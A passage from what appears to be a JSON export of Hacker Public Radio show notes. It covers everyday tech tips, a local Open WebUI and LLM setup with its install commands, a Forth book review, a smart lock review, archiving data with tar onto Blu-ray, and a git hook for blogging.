                                                            \nii) dynamic: responds to the audio source (voice, instrument) very close to the diaphragm, do not capture sound more than some centimeters (or some inches) away. It’s the best for amateur use, or in a room without acoustic treatment. \nUsage\n: \nMusicians\nperforming live use dynamic microphones so the instruments (and crowd) around don’t get their sound amplified by this artist’s microphone. \nRadios\nprefer dynamic mics, because it goes to a more impactful voice, rejects eventual sounds from noisy mixers or keyboards nearby that the radio host might be operating.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n\nA top-adress microphone (captures the sound from the top), dynamic-type. (Image by Arthur Fox / https://mynewmicrophone.com/diaphragm.)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe \nRE20 from Electro-Voice\n(not the photo above) is a favorite of radio stations, in part for being dynamic, in part for reducing the proximity effect (that is, the sound “exploding” when the source gets too near to the capsule) because of its technology, named Variable-D.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nA word about captation pattern (no, the name is polar pattern): it says about the directional response. For example, some are omnidirectional (captures sound equally from all the sides); most of them are cardioid, capturing the sound coming from the front (the speaker, the instrument directed to it), but rejects sound from the rear.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n3- Microsoft Word (or Libreoffice Writer) “templates”

                                                            \n

                                                            \n- So, you do use templates for text archives, to facilitate the doing of commonly used documents. To know what to change, you highlight in yellow, right? Or do you put the text in red?

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- Well, my recommendation is to use, instead, * or {} : asterisk, curly brackets or any other symbol that you can type easily and not use as text in any document.

                                                            \n

                                                            \n. So you can easily find what is the part you have to change or write, and only delete the * when you do that part. At the end, you can check if there is any * remaining, if not, the document is ready.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- So, isnt’ it the same with colors, to indicate what to change in the document?

                                                            \n

                                                            \n. No. For formatting you need to use your vision (and may lose something) and have to remove the formatting manually. It’s possible to use the Find tool, but not as easily as finding a character.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n\n\nTo illustrate:\n\n\nprint of an official document template for the bidding process for information and communication technology services. (Author: Brazil, Advocacia-Geral da União. Modelos da Lei 14.133/21 para bens e serviços de TIC. Link: https://www.gov.br/agu/pt-br/composicao/cgu/cgu/modelos/licitacoesecontratos/14133/bens-e-servicos-de-tic). Changes to be made were marked in red and italics, but brackets [] and “XXXX” were used also.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- Ah:

                                                            \n

                                                            \n. there are forms, real templates you can use, but, hey, if you're part of the 90% that saves “templates” in the common format (.docx, .odt) and does not use the very special tools for the template kind of document, knowing and using some tips like this is ok and is satisfying.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- Not on templates, but in editing, I have worked on the revision of books using this, to know where to come back later to check, or where I have stopped on some day, with good result. Extra: give a look on the comment options, they are easy to use and practical, see if you adapt with it for your necessities.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n4- A \nrecooording\ntip

                                                            \n

                                                            \n- Always record at least 3 seconds, totally quiet, before starting the show (that is, before talking). This “silence” is the room tone, which you may use:

                                                            \n

                                                            \n. as adequate silence in the editing proccess (in place of a cut part), or

                                                            \n

                                                            \n. you may take it for noise reduction profile \nIF \nneeded, or

                                                            \n

                                                            \n. which you can only delete in the end if you don't find what to do with it.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- Recording knowledge number 2 and final: save an uncompressed version of the raw of your recording, and keep it intact. Work on copies, keep the original saved as .wav (or, if prefered, .flac).

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n5- Permissions for apps

                                                            \n

                                                            \nBe careful with free apps. Don’t install any and everything. See their permissions.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- Ads? Why more things being offered to you, trying to give insatisfaction? If there is an option without ads, you may prefer.

                                                            \n

                                                            \n. Also, the ad system of some apps uses more battery (downloading different ads, sending more information of you to personalize ads, using the notification system, meaning running in the background).

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- In-app purchases: with it, you’ll get angry with an app, because it’s not free to do what you thought it would do when you installed. And it may use recurring payments, pay for each feature, and worst, you don’t know beforehand. If it’s to pay, prefer the ones you buy (once) in the download and has no in-app purchases.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- With apps in that you input your data (like e2ee, or “e2ee” communicating, or browsers): see permissions, what data they keep and share, or at least choose open source and well-renowed developers.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- Please don't download any app that promises performance enhancement. The system (Android or iOS) is already optimized for what it is, third party apps can do little or, most commonly, nothing, and is more space and features loading your system.

                                                            \n

                                                            \n. Want speed? Delete the apps that are not absolutely necessary (I’m talking to you, solitaire game with access to internet and that notifies you to play from time to time), or disable notifications of every app and put them to deep sleep (so they don’t run in background, only when you open them).

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- So much said, let’s take it in one sentence: install only what needed, and see permissions and ads before choosing.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n6- Mobile phone battery

                                                            \n

                                                            \n- You use your phone all day and still have more than 20% of battery? Or recharges 2 times a day? (or 3!)

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n- If it’s the last option, and your phone is less than 3 years old and you never use uncertified chargers, you can try to have a worry-free all-day phone usage doing what said before: disabling apps that run in the background (uninstall, or put to deep sleep). It’s a one by one process, but once for all.

                                                            \n

                                                            \n. If it’s this way because of intense use, nothing to do; enjoy your product!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n✶ Final word

                                                            \n

                                                            \nWe did not enter on details: no explanations or reasons abounding, no. We didn’t even go to number \n7\n, which would be \nperfection\n; because I have not a seventh good idea.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOnly the bits of what I think I know & that I value as precious. A hug!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nbye!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCredits: sound used (author – sound)\n

                                                            \n

                                                            \n\nluvvoice.com\n, English (Nigeria), Abeo (Male) voice – tts “20 minutes show”.

                                                            \n

                                                            \n\nluvvoice.com\n, English (UK), Ryan (Male) voice – tts on the paragraph about polar pattern of microphones.

                                                            \n

                                                            \nCrab_Audio / Pixabay – \nMy Style\n[Transitions]

                                                            \n

                                                            \nfreesound_community / Pixabay – \nDictaphone\n.

                                                            \n

                                                            \nRobinhood76 / Freesound.org – \n01893 do it again spell\n(CC-BY-NC 4.0).

                                                            \n

                                                            \nattic13 / Pixabay – \ncalm background piano\n[beautiful, thank you; I hope the simple use here honors your work, friend].

                                                            \n

                                                            \nSieuAmThanh / Freesound.org – \nRớtĐônHổ\n[angry expression] (CC0 1.0).

                                                            \n

                                                            \npatchen / Freesound.org – \nBeautiful 85\n(CC BY 4.0).

                                                            \n\n\n","hostid":441,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Embrace the core, Android, how-to, Mobile phone tips, microphones, Word, Libreoffice Writer The Eve","version":0,"downloads":0,"valid":1}, {"id":4337,"date":"2025-03-18","title":"Open Web UI","duration":1885,"summary":"I go over how I have my local LLM server setup because I rm -Rf ed it ...","notes":"

                                                            \nOpenWebUI notes ...\n

                                                            \n

                                                            \nOpen WebUI installer: https://github.com/freeload101/SCRIPTS/blob/master/Bash/OpenWebUI_Fast.bash

                                                            \n

                                                            \nOlder Professor synapse prompt you can use: https://raw.githubusercontent.com/freeload101/SCRIPTS/refs/heads/master/Prof%20Synapse%20Old.txt

                                                            \n

                                                            \nFabric prompts you can import into openwebui !!! ( https://github.com/danielmiessler/fabric/tree/main/patterns\n) https://github.com/freeload101/SCRIPTS/blob/master/MISC/Fabric_Prompts_Open_WebUI_OpenWebUI_20241112.json

                                                            \n

                                                            \nExample AT windows task startup script to make it start and not\ndie on boot https://github.com/freeload101/SCRIPTS/blob/master/MISC/StartKokoro.xml

                                                            \n

                                                            \nOpen WebUI RAG fail sause ... https://youtu.be/CfnLrTcnPtY

                                                            \n

                                                            \nOpen registration \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \nModel list / order\n

                                                            \n
                                                            \nNAME                                                   ID              SIZE      MODIFIED\n
                                                            \n
                                                            hf.co/mradermacher/L3-8B-Stheno-v3.2-i1-GGUF:Q4_K_S    017d7a278e7e    4.7 GB    2 days ago\n
                                                            \n
                                                            qwen2.5:32b                                            9f13ba1299af    19 GB     3 days ago\n
                                                            \n
                                                            deepsex:latest                                         c83a52741a8a    20 GB     3 days ago\n
                                                            \n
                                                            HammerAI/openhermes-2.5-mistral:latest                 d98003b83e17    4.4 GB    2 weeks ago\n
                                                            \n
                                                            Sweaterdog/Andy-3.5:latest                             d3d9dc04b65a    4.7 GB    2 weeks ago\n
                                                            \n
                                                            nomic-embed-text:latest                                0a109f422b47    274 MB    2 weeks ago\n
                                                            \n
                                                            deepseek-r1:32b                                        38056bbcbb2d    19 GB     4 weeks ago\n
                                                            \n
                                                            psyfighter2:latest                                     c1b3d5e5be73    7.9 GB    2 months ago\n
                                                            \n
                                                            CognitiveComputations/dolphin-llama3.1:latest          ed9503dedda9    4.7 GB    2 months ago\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDisable Arena models \n

                                                            \n\n

                                                            \n\n

                                                            \n

                                                            \nDocuments WIP RAG is not good .\n

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDiscord notes;\n

                                                            \n

                                                            \n\nhttps://discord.com/channels/1170866489302188073/1340112218808909875\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            • \nAbhi Chaturvedi:  @(Operat0r) try this To reduce latency\nand improve accuracy, modify the .env file: Enable RAG\nENABLE_RAG=true\n
                                                            • \n
                                                            • \nUse Hybrid Mode (Retrieval + Reranking for better context)\n
                                                            • \n
                                                            • \nRAG_MODE=hybrid\n
                                                            • \n
                                                            • \nReduce the number of retrieved documents (default: 5)\n
                                                            • \n
                                                            • \nRETRIEVAL_TOP_K=3\n
                                                            • \n
                                                            • \nUse a Fast Embedding Model (instead of OpenAI's Ada-002)\n
                                                            • \n
                                                            • \nEMBEDDING_MODEL=all-MiniLM-L6-v2 # Faster and lightweight .\nOptimize the Vector Database VECTOR_DB_TYPE=chroma\nCHROMA_DB_IMPL=hnsw # Faster search\nCHROMA_DB_PATH=/root/open-webui/backend/data/vector_db.\nOptimize Backend Performance # Increase Uvicorn worker count\n(improves concurrency) UVICORN_WORKERS=4\n
                                                            • \n
                                                            • \nIncrease FastAPI request timeout (prevents RAG failures)\n
                                                            • \n
                                                            • \nFASTAPI_TIMEOUT=60\n
                                                            • \n
                                                            • \nOptimize database connection pool (for better query\nperformance)\n
                                                            • \n
                                                            • \nSQLALCHEMY_POOL_SIZE=10\n
                                                            • \n\n
                                                            • \nSo probably the first thing to do is increase the top K value\nin admin -> settings -> documents, or you could try the\nnew \"full context mode\" for rag documents. You may also need\nto increase the context size on the model, but it will make it\nslower, so you probably don't want to do that unless you start\nseeing the \"truncating input\" warnings.\n
                                                            • \n
                                                            • \n@JamesK\n
                                                            • \n
                                                            • \nSo probably the first thing to do is increase the top K value\nin admin -> settings -> documents, or you could try the\nnew \"full context mode\" for rag documents. You may also need\nto increase the context size on the model, but it will make it\nslower, so you probably don't want to do that unless you start\nseeing the \"truncating input\" warnings.\n
                                                            • \n\n\n
                                                            • \nM]\n
                                                            • \n
                                                            • \nJamesK:  Ah, I see. The rag didn't work great for you in\nthis prompt. There are three hits and the first two are\nduplicates, so there isn't much data for the model to work\nwith\n
                                                            • \n
                                                            • \n[9:12 PM] JamesK:  context section\n
                                                            • \n
                                                            • \nI see a message warning that you are using the default 2048\ncontext length, but not the message saying you've hit that\nlimit (from my logs the warning looks like\n
                                                            • \n
                                                            • \nlevel=WARN source=runner.go:126 msg=\"truncating input prompt\"\nlimit=32768 prompt=33434 numKeep=5\n
                                                            • \n
                                                            • \n[6:06 AM] JamesK:  If you set the env var OLLAMA_DEBUG=1\nbefore running ollama serve it will dump the full prompt being\nsent to the model, that should let you confirm what the rag\nhas put in the prompt\n
                                                            • \n
                                                            • \nJamesK: Watch the console output from ollama and check for\nwarnings about overflowing the context. If you have the\ndefault 2k context you may need to increase it until the\nwarnings go away\n
                                                            • \n
                                                            • \n[8:58 PM] JamesK:  But also, if you're using the default\nrag, it chunks the input into small fragments, then matches\nthe fragments against your prompt and only inserts a few\nfragments into the context, not the entire document. So it's\neasily possible for the information you want to not be\npresent.\n
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAuto updates\n

                                                            \n
                                                            echo '0,12 */4 * * * docker run --rm --volume /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower --run-once open-webui' >> /etc/crontab\n
                                                            \n

                                                            \nSearch\n

                                                            \n

                                                            \nred note for API keys \n

                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            1. \nGo to Google Developers, use \n\nProgrammable Search Engine\n, and log on or create account.\n
                                                            2. \n
                                                            3. \nGo to \n\ncontrol panel\nand click \nAdd\nbutton\n
                                                            4. \n
                                                            5. \nEnter a search engine name, set the other properties to suit\nyour needs, verify you're not a robot and click \nCreate\nbutton.\n
                                                            6. \n
                                                            7. \nGenerate \nAPI key\nand get the \nSearch engine ID\n. (Available after the engine is created)\n
                                                            8. \n
                                                            9. \nWith \nAPI key\nand \nSearch engine ID\n, open \nOpen WebUI Admin panel\nand click \nSettings\ntab, and then click \nWeb Search\n
                                                            10. \n
                                                            11. \nEnable \nWeb search\nand Set \nWeb Search Engine\nto \ngoogle_pse\n
                                                            12. \n
                                                            13. \nFill \nGoogle PSE API Key\nwith the \nAPI key\nand \nGoogle PSE Engine Id\n(# 4)\n
                                                            14. \n
                                                            15. \nClick \nSave\n
                                                            16. \n
                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \nNote\n\n​\n

                                                            \n

                                                            \nYou have to enable \nWeb search\nin the prompt field, using plus (\n+\n) button. Search the web ;-)\n

                                                            \n

                                                            \n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nKokoro / Open Webui \n

                                                            \n

                                                            \nhttps://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/install-guide.html\n

                                                            \n

                                                            \nhttps://github.com/remsky/Kokoro-FastAPI?tab=readme-ov-file\n

                                                            \n
                                                            apt update\n
                                                            \n
                                                            apt upgrade\n
                                                            \n
                                                            curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg   && curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list |     sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' |     sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list\n
                                                            \n
                                                            sed -i -e '/experimental/ s/^#//g' /etc/apt/sources.list.d/nvidia-container-toolkit.list\n
                                                            \n
                                                            sudo apt-get update\n
                                                            \n
                                                            sudo apt-get install -y nvidia-container-toolkit\n
                                                            \n
                                                            apt install docker.io -y\n
                                                            \n
                                                            docker run --gpus all -p 8880:8880 ghcr.io/remsky/kokoro-fastapi-gpu:v0.2.2\n
                                                            \n

                                                            \n\n\n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nhttp://localhost:8880/v1\n

                                                            \n

                                                            \naf_bella\n

                                                            \n

                                                            \nImport fabric prompts\n

                                                            \n

                                                            \n\nhttps://raw.githubusercontent.com/freeload101/Python/46317dee34ebb83b01c800ce70b0506352ae2f3c/Fabric_Prompts_Open_WebUI_OpenWebUI.py\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"failsause,open webui,llm,ollma,rag,ai prompt","version":0,"downloads":0,"valid":1}, {"id":4338,"date":"2025-03-19","title":"328eforth","duration":860,"summary":"a review of the book arduino and eforth","notes":"\n

                                                            Review of the book the Arduino controlled by eforth by dr\n chen-hanson ting published in 2018

                                                            \n

                                                            \n written by chen-hanson ting

                                                            \n Late Dr. ting was a chemist turned engineer. he earned a phd in\n chemistry at the U of Chicago in 1965. taught chemistry in Taiwan\n until 1975. became a firmware engineer until hI retirement in 2000.\n he was a forth advocate for more than 50 years, especially a forth\n called eforth that has been ported to many devices, including the\n micro chip atmega 328 found on the arduino uno board.\n

                                                            I found this book while searching for forths for the arduino uno\n boards. the source code and documentation for eforth is available\n in a lot of places I will put a few links in the show notes.

                                                            \n

                                                            \n I believe I mentioned this forth in an earlier hpr where I talked\n about choosing a forth.

                                                            \n

                                                            \n forth interest group https://forth.org

                                                            \n

                                                            \n https://wiki.forth-ev.de

                                                            \n

                                                            https://chochain.github.io\n (pdf)

                                                            \n

                                                            When I first encountered dr tings forth for arduino I was\n interested for one reason, it was easily assembled using avra, the\n gnu port of the atmel assembler. this was nice because using\n atmels (now microchips) assemblers on Linux required installing\n wine and installing wine, in the past, on a 64 bit Slackware meant\n installing 32 bit libraries to have a multI lib Slackware. ( that\n not an issue now). assembling the forth code in avra is quick, its\n only a little bit over 5k in size in the end.

                                                            \n After playing with eforth for a while I became frustrated because I\n could create new words in the dictionary and the examples ran fine,\n but nothing persisted across reboot. so I dropped eforth and ended\n up using flashforth, which is a great, robust full featured forth. I\n still recommend flashforth if your starting out with forth on a\n microcontroller its solid software with good documentation.
                                                            \n
                                                            \n At the end of last year I thought it would be fun to write my own\n forth. and after looking into doing that I revisited 328eforth and\n thought, no how about I fix the problems with eforth on the arduino.\n so I dug out the book and began reading.\n

                                                            \n Jones forth port at https://ratfactor.com/nasmjf

                                                            \n The book has 6 parts.\n

                                                            \n part 1 is dr tings musings on how he ended up creating 328eforth.

                                                            \n

                                                            \n part 2 explains installing eforth.

                                                            \n

                                                            \n the 3rd part begins exercising the arduino board using forth in\n the interactive interpreter.

                                                            \n

                                                            \n part 4 explains 328eforth implementation and design decisions.

                                                            \n

                                                            \n part 5 is the full commented source code of 328eforth and, this is\n the best part, dr tings explanation of what is going on in the\n code broken down by functional sections. a gold mine of\n information!

                                                            \n

                                                            \n part 6 conclusions

                                                            \n

                                                            The last part is his conclusions and examples to learn forth.

                                                            \n

                                                            This is a great free software project. nothing is hidden. it is\n accessible to anybody who would take the time to read and dig into\n the code. its makes assembly language much less dark and\n foreboding.

                                                            \n I'll finish by reading a couple of paragraphs from dr tings book\n

                                                            \n dr ting concludes:

                                                            \n

                                                            \n People using computers are trained to be slaves. You are\n taught to push certain buttons, and your are taught to push\n certain keys. Then, you get employed to push buttons and keys\n to work as slaves. Computers, programming languages, and\n operating systems are made complicated to enslave people.

                                                            \n

                                                            \n Computers are not complicated beyond\n comprehension. Programming languages and operating systems do\n not have to be complicated. If you get a sharp knife, you can\n be the master of your destination. 328eforth is a sharp\n knife. Go use it.

                                                            \n

                                                            \n The hacker ethos.

                                                            \n The next podcast I produce will cover installing eforth on an\n arduino board and solving that pesky loss of words between boots\n problem.\n

                                                            \n
                                                            \n

                                                            ","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"arduino, forth, book review","version":0,"downloads":0,"valid":1}, {"id":4339,"date":"2025-03-20","title":"Review of the YR01 smart lock","duration":836,"summary":"Rho`n reviews his recently installed Yamiry YR01 Fingerprint Smart Knob","notes":"\n

                                                            \n This episode gives a mini-review of the Yamiry YR01 Fingerprint\n Smart Knob. This key less entry system replaces your door handles\n and latch with a door handle and latch system that allows for\n multiple ways to 'keylessly' unlock your door via fingerprint, pin\n codes, bluetooth fobs, your phone's bluetooth, or your phone's\n wifi.

                                                            \n

                                                            \n References:

                                                            \n \n

                                                            \n
                                                            \n

                                                            ","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"review, hardware review, keyless entry system, door lock","version":0,"downloads":0,"valid":1}, {"id":4340,"date":"2025-03-21","title":"Playing Civilization IV, Part 7","duration":833,"summary":"We demonstrate how to win a Culture victory","notes":"

                                                            \nCivilization IV added some new Victory types, and I decided to\nillustrate one of them, the Culture victory, by going through an\nexample of achieving this, the Culture victory.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV, Culture victory","version":0,"downloads":0,"valid":1}, {"id":4341,"date":"2025-03-24","title":"Transferring Large Data Sets","duration":630,"summary":"How to transfer large data sets using tar and bluray discs while preserving meta data.","notes":"\n

                                                            \n Transferring Large Data Sets

                                                            \n

                                                            \n Very large data sets present their own problems. Not everyone has\n directories with hundreds of gigabytes of project files, but I do,\n and I assume I'm not the only one.

                                                            \n

                                                            \n For instance, I have a directory with over 700 radio shows, many\n of these directories also have a podcast, and they also have\n pictures and text files.

                                                            \n

                                                            \n Doing a properties check on the directory I see 450 gigabytes of\n data.

                                                            \n

                                                            \n When I started envisioning Libre Indie Archive I wanted to move\n the directories into archival storage using optical drives. My\n first attempt at this didn't work because I lost metadata when I\n wrote the optical drives since optical drives are read only.

                                                            \n

                                                            \n After further work and study I learned that tar files can preserve\n meta data if they are created and uncompressed as root. In fact,\n if you are running tar as root preserving file ownership and\n permissions is the default.

                                                            \n

                                                            \n So this means that optical drives are an option if you write tar\n archives onto the optical drives.

                                                            \n

                                                            \n I have better success rates with 25 GB Blue Ray Discs than with\n the 50 GB discs. So, if your directory breaks up into projects\n that fit on 25 GB discs, that's great.

                                                            \n

                                                            \n My data did not do this easily but tar does have an option to\n write a data set to multiple tar files each with a maximum size,\n labelling them -0 -1, etc.

                                                            \n

                                                            \n When using this multi volume feature you cannot use compression.\n So you will get tar files, not tar.gz files.

                                                            \n

                                                            \n It's better to break the file sets up in more reasonable sizes so\n I decided to divide the shows up alphabetically by title, so all\n the shows starting with the letter a would be one data set and\n then down the alphabet, one letter at a time.

                                                            \n

                                                            \n Most of the letters would result in a single tar file labeled -0\n that would fit on the 25 GB disc. Many letters, however, took two\n or even three tar files that would have to be written on different\n disks and then concatenated on the primary system before they are\n extracted to the correct location in primaryfiles.

                                                            \n

                                                            \n There is a companion program to tar, called tarcat, that I used to\n combine 2 or 3 tar files split by length into a single tar file\n that could be extracted.

                                                            \n

                                                            \n I ran engrampa as root to extract the files.

                                                            \n

                                                            \n So, I used a tar command on the working system where my Something\n Blue radio shows are stored. Then I used K3b to burn these files\n onto a 25 GB Blu Ray Disc carefully labeling the discs and writing\n a text file that I used to keep up with which files I had already\n copied to Disc.

                                                            \n

                                                            \n Then on the Libre Indie Archive primary system I copied from the\n Blu Ray to the boot drive the file or files for that data set.\n Then I would use tarcat to combine the files if there was more\n than one file for that data set. And finally I would extract the\n files to primaryfiles by running engrampa as root.

                                                            \n

                                                            \n Now I'm going to go into details on each of these steps.

                                                            \n

                                                            \n First make sure that the Libre Indie Archive program, prep.sh, is\n in your home directory on your workstation. Then from the data\n directory to be archived, in my case the something_blue directory\n run prep.sh like this.

                                                            \n
                                                            \n~/prep.sh
                                                            \n

                                                            \n This will create a file named IA_Origin.txt that lists the date,\n the computer and directory being archived, and the users and\n userids on that system. All very helpful information to have if at\n some time in the future you need to do a restore.

                                                            \n

                                                            \n Next create a tar data set for each letter of the alphabet. (You\n may want to divide your data set in a different way.)

                                                            \n

                                                            \n Open a terminal in the same directory as the data directory, my\n something_blue directory, so that ls displays something_blue (your\n data directory). I keep the Something Blue shows and podcasts in\n subdirectories in the something_blue directory.

                                                            \n

                                                            \n Here's the tar command.

                                                            \n

                                                            \n Example a:

                                                            \n
                                                            \nsudo tar -cv --tape-length=20000000 --file=somethingblue-a-{0..50}.tar /home/larry/delta/something_blue/a*
                                                            \n

                                                            \n This is for the letter a so the --file parameter includes the\n letter a. The numbers 0..50 in the squirelly brackets are the\n sequence numbers for the files. I only had one file for the letter\n a, somethingblue-a-0.tar.

                                                            \n

                                                            \n The last parameter is the source for the tar files, in this case

                                                            \n
                                                            \n/home/larry/delta/something_blue/a*
                                                            \n

                                                            \n All of the files and directories in the something_blue directory\n that start with the letter a.

                                                            \n

                                                            \n You may want to change the --tape-length parameter. As listed it\n stores up to 19.1 GB. The maximum capacity of a 25 GB Blu-ray is\n 23.3GB for data storage.

                                                            \n

                                                            \n Example b:

                                                            \n

                                                            \n For the letter b, I ended up with three tar files.

                                                            \n
                                                            somethingblue-b-0.tar
                                                            somethingblue-b-1.tar
                                                            somethingblue-b-2.tar
                                                            \n

                                                            \n I will use these files in the example below using tarcat to\n combine the files.

                                                            \n

                                                            \n I use K3b to burn Blu-Ray data discs. Besides installing K3b you\n have to install some other programs and then there is a particular\n setup that needs to be done including selecting cdrecord and no\n multisession. Here's an excellent article that will go step by\n step through the installation and setup.

                                                            \n

                                                            \n How to burn Blu-ray discs on Ubuntu and derivatives using K3b?

                                                            \n

                                                            \n https://en.ubunlog.com/how-to-burn-blu-ray-discs-on-ubuntu-and-derivatives-using-k3b/

                                                            \n

                                                            \n I also always check Verify data and I use the Linux/Unix file\n system, not windows which will rename your files if the filenames\n are too long.

                                                            \n

                                                            \n I installed a Blu-Ray reader into the primary system and I used\n thunar to copy the files from the Blu-Ray Disc to the boot drive.

                                                            \n

                                                            \n In the primaryfiles directory I make a subdirectory,\n something_blue, to hold the archived shows.

                                                            \n

                                                            \n If there is only one file, like in example a above, you can skip\n the concatenation step.

                                                            \n

                                                            \n If there is more than one file, like Example b above, you use\n tarcat to concatenate these files into one tar file.

                                                            \n

                                                            \n You have to do this. If you try to extract from just one of the\n numbered files when there is more than one you will get an error.\n So if I try to extract from somethingblue-b-0.tar and I get an\n error it doesn't mean that there's anything wrong with that file.\n It just has to be concatenated with the other b files before it\n can be extracted.

                                                            \n

                                                            \n There is a companion program to tar called tarcat that should be\n used to concatenate the tar files.

                                                            \n

                                                            \n Here's the command I used for example b, above.

                                                            \n
                                                            \ntarcat somethingblue-b-0.tar somethingblue-b-1.tar somethingblue-b-2.tar > sb-b.tar
                                                            \n

                                                            \n This will concatenate the three smaller tar files into one bigger\n tar file named sb-b.tar

                                                            \n

                                                            \n In order to preserve the meta data you have to extract the files\n as root. In order to make it easier to select the files to be\n extracted and where to store them I use the GUI archive manager,\n engrampa. To run engrampa as root open a terminal with CTRL-ALT t\n and use this command

                                                            \n
                                                            sudo -H engrampa
                                                            \n

                                                            \n Click Open and select the tar file to extract. Then follow the\n path until you are in the something_blue directory and you are\n seeing the folders and files you want to extract. Type Ctrl a to\n select them all. (instead of the something_blue directory you will\n go to your_data directory)

                                                            \n

                                                            \n Then click Extract at the top of the window. Open the directory\n where you want the files to go. In my case,\n primaryfiles/something_blue

                                                            \n

                                                            \n Then click Extract again in the lower right.

                                                            \n

                                                            \n After the files are extracted go to your data directory in\n primaryfiles and check that the directories and files are where\n you expect them to be.

                                                            \n

                                                            \n You can also open a terminal in that directory and type

                                                            \n
                                                            \nls -l
                                                            \n

                                                            \n to review the meta data.

                                                            \n When dealing with data chunks sized 20 GB or more each one of these\n steps takes time. The reason I like using an optical disk backup to\n transfer the files from the working system to Libre Indie Archive is\n because it gives me an easy to store backup that is not on a\n spinning drive and that cannot be overwritten. Still optical disk\n storage is not perfect either. It's just another belt to go with\n your suspenders.\n

                                                            \n Another way to transfer directories into the primaryfiles\n directory is with ssh over the network. This is not as safe as\n using optical disks and it also does not provide the extra\n snapshot backup. It also takes a long time but it is not as labor\n intensive.

                                                            \n

                                                            \n After I spend some more time thinking about this and testing I\n will do a podcast about transferring large data sets with ssh.

                                                            \n

                                                            \n Although I am transferring large data sets to move them into\n archival storage using Libre Indie Archive there are many other\n situations where you might want to move a large data set while\n preserving the meta data. So what I have written about tar files,\n optical discs, and running thunar and engrampa as root is\n generally applicable.

                                                            \n

                                                            \n As always comments are appreciated. You can comment on Hacker\n Public Radio or on Mastodon. Visit my blog at home.gamerplus.org\n where I will post the show notes and embed the Mastodon thread for\n comments about thie podcast.

                                                            \n

                                                            \n Thanks

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":436,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"libreindiearchive, archival, data, bash, tar","version":0,"downloads":0,"valid":1}, {"id":4342,"date":"2025-03-25","title":"How I use Git to blog on the web and gopherspace","duration":2259,"summary":"How I use Git to blog on the web and gopherspace","notes":"

                                                            First, I create a Git repository some place on the server. This\n is the Git repo that's going to be populated with your content,\n but it doesn't have to be in a world-viewable location on your\n server. Instead, you can place this anywhere, and then use a Git\n hook or a cronjob to copy files from it to a world-viewable\n directory. I don't cover that here. I refer to this location as\n the staging directory.

                                                            \n

                                                            Next, create a bare repository on your server. In its hooks\n directory, create a shell script called post-receive:

                                                            \n
                                                            #!/usr/bin/bash\n#\nwhile read oldrev newrev refname\ndo\n       BR=`git rev-parse --symbolic --abbrev-ref $refname`\n       if [ \"$BR\" == \"master\" ]; then\n               WEB_DIR=\"/my/staging/dir\"\n               export GIT_DIR=\"$WEB_DIR/.git\"\n               pushd $WEB_DIR > /dev/null\n               git pull\n               popd > /dev/null\n       fi\ndone \n
                                                            \n Now when you push to your bare repository, you are triggering the\n post-receive script to run, which in turn triggers a git pull in\n your staging directory.\n

                                                            Once your staging directory contains the content you want to\n distribute, you can copy them to live directories, or you could\n make your staging directory live (remember to exclude the .git\n directory though), or whatever you want.
